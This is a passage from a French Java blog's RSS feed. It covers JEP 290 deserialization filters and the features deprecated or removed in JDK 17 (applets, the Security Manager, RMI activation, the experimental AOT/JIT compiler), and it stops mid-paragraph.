&lt;p&gt;Pour cela, il suffit d&amp;#8217;invoquer la méthode statique &lt;code&gt;createFilter&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt; var filtre = ObjectInputFilter.Config.createFilter(&quot;fr.lbenoit.exemple.*;java.base/*;!*&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le filtre peut être positionnée de deux manières :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;de manière globale&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt; ObjectInputFilter.Config.setSerialFilter(filtre);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;par flux&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Chaque flux peut avoir son filtre dédié. En effet, la classe &lt;code&gt;ObjectInputStream&lt;/code&gt; contient des méthodes pour manipuler le filtre.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class ObjectInputStream ... {
    public final void setObjectInputFilter(ObjectInputFilter filter);
    public final ObjectInputFilter getObjectInputFilter(ObjectInputFilter filter);
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, pour positionner le filtre, il suffit d&amp;#8217;appeler la méthode &lt;code&gt;setObjectInputFilter&lt;/code&gt; sur le flux :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;ObjectInputStream ois = new ...
ois.setObjectInputFilter(filtre);&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;motifs_possibles_pour_la_configuration&quot;&gt;Motifs possibles pour la configuration&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Comme nous pouvons le voir dans les exemples, nous ne sommes pas obliger de créer une classe implémentant l&amp;#8217;interface &lt;code&gt;ObjectInputFilter&lt;/code&gt;. Nous pouvons parfaitement utiliser l&amp;#8217;implémentation par défaut qui utilise des motifs pour construire les filtres.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les différents motifs sont :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Si le motif correpond au nom de la classe, seule cette classe est autorisé : fr.lbenoit.exemple.Moto (Seule la classe &lt;code&gt;fr.lbenoit.exemple.Moto&lt;/code&gt; est autorisée)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si le motif est précédé par un point d&amp;#8217;intérrogation : !fr.lbenoit.exemple.Voiture (Seule la classe &lt;code&gt;fr.lbenoit.Voiture&lt;/code&gt; n&amp;#8217;est pas autorisée, tous les autres le sont)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si le motif se termine par &lt;code&gt;.*&lt;/code&gt;, toutes les classes du packages sont autorisées : fr.lbenoit.exemple.* (&lt;code&gt;fr.lbenoit.exemple.Moto&lt;/code&gt; et &lt;code&gt;fr.lbenoit.exemple.Voiture&lt;/code&gt; sont autorisées)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si le motif se termine par &lt;code&gt;.**&lt;/code&gt;, toutes les classes et sous-classes du packages sont autorisées : fr.lbenoit.* * (&lt;code&gt;fr.lbenoit.Moto&lt;/code&gt;, &lt;code&gt;fr.lbenoit.exemple.Voiture&lt;/code&gt; et &lt;code&gt;fr.lbenoit.composants.Moteur&lt;/code&gt; sont autorisées)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si le motif contient le caractère &lt;code&gt;/&lt;/code&gt;, cela concerne le module&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sinon la décision est &lt;code&gt;UNDECIDED&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/290&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 290 : Filter Incoming Serialization Data&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/io/Serializable.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Javadoc &lt;code&gt;java.lang.Serializable&lt;/code&gt; du JDK 11&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 398 et JEP 411 Les fonctionalités dépréciées (pour suppression) du JDK 17</title>
      <link>https://www.lilian-benoit.fr/2021/08/JEP398-JEP411-Les-fonctionnalites-depreciees-du-JDK17.html</link>
      <pubDate>dim., 8 août 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/08/JEP398-JEP411-Les-fonctionnalites-depreciees-du-JDK17.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jep_398_deprecate_the_applet_api_for_removal&quot;&gt;JEP 398 Deprecate the Applet API for Removal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jep_411_deprecate_the_security_manager_for_removal&quot;&gt;JEP 411 Deprecate the Security Manager for Removal&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#et_maintenant&quot;&gt;Et maintenant ?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK 17 continue de bouger. cela implique aussi que certaines fonctionnalités soient dépréciées. En effet, le JDK s&amp;#8217;adapte selon son utilisation et les besoins des développeurs. Certaines techniques qui ont fait le succès de Java sont devenues obsolètes. La dépréciation pour suppression permet au dévéloppeur Java de savoir le sens des évolutions Java et de pouvoir s&amp;#8217;anticiper les changements.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jep_398_deprecate_the_applet_api_for_removal&quot;&gt;JEP 398 Deprecate the Applet API for Removal&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les applets Java ont fait fureur dans son temps (début du Web) et cela a contribué à la popularité de Java.
Mais, le Web a évolué aussi de son côté : HTML5, CSS et JavaScript. Les applets Java ne sont plus supportées par aucun navigateur moderne (depuis 2015).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De ce constat, les Applets franchissent un pas vers leur suppression. L&amp;#8217;API Applet était déjà dépréciée par la &lt;a href=&quot;https://openjdk.java.net/jeps/289&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 289 : Deprecate the Applet API&lt;/a&gt; inclus dans le JDK 9.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela inclut les classes et interfaces suivantes :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;java.applet.Applet&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;java.applet.AppletStub&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;java.applet.AppletContext&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;java.applet.AudioClip&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;javax.swing.JApplet&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;java.beans.AppletInitializer&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est intéressant de noter dans la première &lt;a href=&quot;https://openjdk.java.net/jeps/289&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 289&lt;/a&gt;, ils avaient déjà précisés (en 2016) qu&amp;#8217;ils feraient la dépréciation pour suppression lors de la prochaine version majeure. &lt;strong&gt;Chose faite avec cette version LTS.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jep_411_deprecate_the_security_manager_for_removal&quot;&gt;JEP 411 Deprecate the Security Manager for Removal&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le gestionnaire de sécurité est un héritage de Java 1.0. C&amp;#8217;est une solution qui permet de sécuriser le code Java, notamment côté client dans le cadre des applets notamment.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il a été revu dans le JDK 1.2 pour appliquer le principe du moindre priviliège.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La configuration avec l&amp;#8217;ensemble des permissions est très complexe (fameux fichier java.policy). La configuration n&amp;#8217;est pas globale mais elle peut être spécifique à une librairie. Voici un &lt;a href=&quot;https://db.apache.org/derby//docs/10.15/security/rsecpolicysample.html#rsecpolicysample&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;exemple de fichier policy pour la base de données derby&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, lors de l&amp;#8217;utilisation d&amp;#8217;une librairie, il fallait configurer les droits associés à cette librairie. Cela n&amp;#8217;est pas simple lorsque nous sommes simple utilisateur de cette librairie. De plus, il était nécessaire de rajouter la configuration pour les dépendances de la librairie.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Donc, en final, nous avions très souvent :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Pas de sécurité activée,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sécurité activée avec toutes les permissions accordées (équivalent au point précédent),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un fichier de sécurité mal configuré (plus problématique car le développeur se sent protéger).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Donc, au final, cela était rarement utilisé côté serveur.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; De mon expérience, je l&amp;#8217;ai utilisé une fois pour permettre la mutualisation de trois serveurs d&amp;#8217;applications sur une machine dont chacun serveur d&amp;#8217;applications devait pouvoir accèder uniquement à sa base. Nous devions pouvoir le garantir en tant d&amp;#8217;exploitant du serveur d&amp;#8217;applications (et non développeur de l&amp;#8217;application).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;équipe d&amp;#8217;OpenJDK souhaite profiter de la dépreciation pour suppression des Applets (JEP précédente) pour l&amp;#8217;accompagner par la dépréciation pour suppression du gestionnaire de sécurité.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Cela est un signal fort à la communauté.&lt;/strong&gt; Cela a été l&amp;#8217;occassion de beaucoup d&amp;#8217;échange sur les listes &lt;a href=&quot;https://mail.openjdk.java.net/mailman/listinfo/jdk-dev&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;jdk-dev&lt;/a&gt; et &lt;a href=&quot;https://mail.openjdk.java.net/mailman/listinfo/security-dev&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;security-dev&lt;/a&gt; du projet OpenJDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Une des utilisations fréquente est aussi la protection contre &lt;code&gt;System::exit&lt;/code&gt;. Ainsi, l&amp;#8217;application s&amp;#8217;assure qu&amp;#8217;un plugin (par exemple) ne demande pas l&amp;#8217;arrêt de la JVM (Ex: NetBeans ou JIRA).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;et_maintenant&quot;&gt;Et maintenant ?&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La JEP n&amp;#8217;intègre pas d&apos; alternative au gestionnaire de sécurité. En revanche, des pistes sont à explorer en parallèle et dans le futur :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Sécuriser l&amp;#8217;accès aux codes natifs. (Incubateur pour le JDK 17, prochain billet à venir),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Surveiller l&amp;#8217;accès aux ressources : Utilisation de JDK Flight Recorder avec de nouveaux événements,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bloquer l&amp;#8217;accès à l&amp;#8217;api &lt;code&gt;System::exit&lt;/code&gt; via une nouvelle API,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sécuriser la désérialisation (prochain billet à venir),&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sécuriser le traitement des fichiers XML (JAXP) : Activer par défaut le mode sécurisé de JAXP,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Trouver une alternative pour JAAS au niveau de &lt;code&gt;Subject.doAs&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/398&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 398 : Deprecate the Applet API for Removal&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/289&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 289 : Deprecate the Applet API&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/411&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 411 : Deprecate the Security Manager for Removal&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://db.apache.org/derby//docs/10.15/security/rsecpolicysample.html#rsecpolicysample&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Exemple de fichier policy pour la base de données derby&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 407 et JEP 410, les fonctionnalités retirées du JDK 17</title>
      <link>https://www.lilian-benoit.fr/2021/08/JEP407-JEP410-Les-fonctionnalites-retirees-du-JDK17.html</link>
      <pubDate>dim., 1 août 2021 00:00:00 +0200</pubDate>
      <guid isPermaLink="false">2021/08/JEP407-JEP410-Les-fonctionnalites-retirees-du-JDK17.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jep_407_remove_rmi_activation&quot;&gt;JEP 407 Remove RMI Activation&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#reprenons_les_bases&quot;&gt;Reprenons les bases.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#un_peu_dhistoire&quot;&gt;Un peu d&amp;#8217;histoire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#et_maintenant&quot;&gt;Et maintenant ?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#jep_410_remove_the_experimental_aot_and_jit_compiler&quot;&gt;JEP 410 Remove the Experimental AOT and JIT Compiler&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#un_peu_dhistoire_2&quot;&gt;Un peu d&amp;#8217;histoire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#et_maintenant_2&quot;&gt;Et maintenant ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#la_suite&quot;&gt;La suite&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JDK évolue pour s&amp;#8217;adapter au développement actuel. Cette évolution comprend aussi le retrait de fonctionnalités qui ne sont plus utilisées. En effet, les besoins évoluent selon les architectures utilisées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;exemple de la première JEP est significatif par rapport à l&amp;#8217;usage du protocole HTTP pour traiter la distribution au lieu d&amp;#8217;autres protocoles existants : CORBA, RMI&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jep_407_remove_rmi_activation&quot;&gt;JEP 407 Remove RMI Activation&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Les mécanismes de RMI ne changent pas. Le retrait concerne seulement l&amp;#8217;activation RMI.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Cela n&amp;#8217;est pas à confondre avec &lt;a href=&quot;https://github.com/javaee/activation&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JavaBean Activation Framework (JAF)&lt;/a&gt; de Java EE, qui a été renommée &lt;a href=&quot;https://jakarta.ee/specifications/activation/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Jakarta Activation&lt;/a&gt; depuis la reprise par la fondation Eclipse. Cela ne concerne pas le même sujet et il n&amp;#8217;y a aucun impact vis à vis de ce retrait.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;reprenons_les_bases&quot;&gt;Reprenons les bases.&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;RMI est l&amp;#8217;acronyme pour Remote Method Invocation. C&amp;#8217;est le moyen en Java de pouvoir appeler une méthode d&amp;#8217;un objet distant. C&amp;#8217;est à dire que l&amp;#8217;instance se trouve sur la même JVM, sur une autre JVM du même ordinateur ou sur une autre JVM d&amp;#8217;un autre ordinateur. &lt;strong&gt;Cela est transparent pour l&amp;#8217;appelant.&lt;/strong&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sans rentrer dans le détail (ce n&amp;#8217;est pas le but de cet article), voici le principe de fonctionnement de RMI :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image&quot;&gt;&lt;img src=&quot;/resources/img/blog/2021/08/RMI.png&quot; alt=&quot;RMI&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce qui veut dire que les serveurs doivent s&amp;#8217;enregistrer auprès de l&amp;#8217;annuaire.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;&lt;strong&gt;Et c&amp;#8217;est là qu&amp;#8217;intervient l&amp;#8217;activation RMI&lt;/strong&gt;. C&amp;#8217;est le moyen pour pouvoir activer les objets seulement à la demande. Pour cela, nous avons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Une classe java abstraite &lt;code&gt;java.rmi.activation.Activatable&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Un utilitaire &lt;code&gt;rmid&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour plus d&amp;#8217;information, je vous laisse lire le sujet d&amp;#8217;activation dans les &lt;a href=&quot;https://docs.oracle.com/en/java/javase/11/docs/specs/rmi/activation.html#activation-protocol&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;specifications RMI du JDK 11&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;un_peu_dhistoire&quot;&gt;Un peu d&amp;#8217;histoire&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il faut savoir que cette JEP fait suite à la &lt;a href=&quot;https://openjdk.java.net/jeps/385&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 385 : Deprecate RMI Activation for Removal&lt;/a&gt; inclus dans le JDK 15 (septembre dernier).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Suite à l&amp;#8217;annonce de la dépréciation (pour suppression) de cette fonctionnalité, il n&amp;#8217;y a pas eu de retour à ce sujet. Cela n&amp;#8217;est pas une preuve en soit mais une bonne indication.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour les systèmes qui l&amp;#8217;utilisent, la solution sera de rester sur une ancienne version du JDK ayant un support étendu. Laissant le temps de faire évoluer le système.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;et_maintenant&quot;&gt;Et maintenant ?&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le retrait concerne :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Le package &lt;code&gt;java.rmi.activation&lt;/code&gt;,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le code d&amp;#8217;implémentations,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les tests de non-régression,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;La spécification RMI dont le volet activation sera supprimé,&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Le daemon rmid.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;jep_410_remove_the_experimental_aot_and_jit_compiler&quot;&gt;JEP 410 Remove the Experimental AOT and JIT Compiler&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;un_peu_dhistoire_2&quot;&gt;Un peu d&amp;#8217;histoire&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette JEP est moins problématique car cela correspond à supprimer des fonctionnalités expérimentales du JDK (donc moins d&amp;#8217;utilisateurs impactés) :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;AOT (Ahead-of-Time) a été introduite dans le JDK 9 avec &lt;a href=&quot;https://openjdk.java.net/jeps/295&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 295 : Ahead-of-Time Compilation&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&quot;Java based JIT Compiler&quot; a été introduite dans le JDK 10 avec &lt;a href=&quot;https://openjdk.java.net/jeps/317&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 317 : Experimental Java-Based JIT Compiler&lt;/a&gt;. C&amp;#8217;est le fameux compilateur graal.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le JIT (Just-In-Time) a besoin que la JVM tourne pour commencer les optimisations du code appelé fréquemment (compilateur à la volée). C&amp;#8217;est la fameuse phase de &quot;warm-up&quot; de la JVM.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
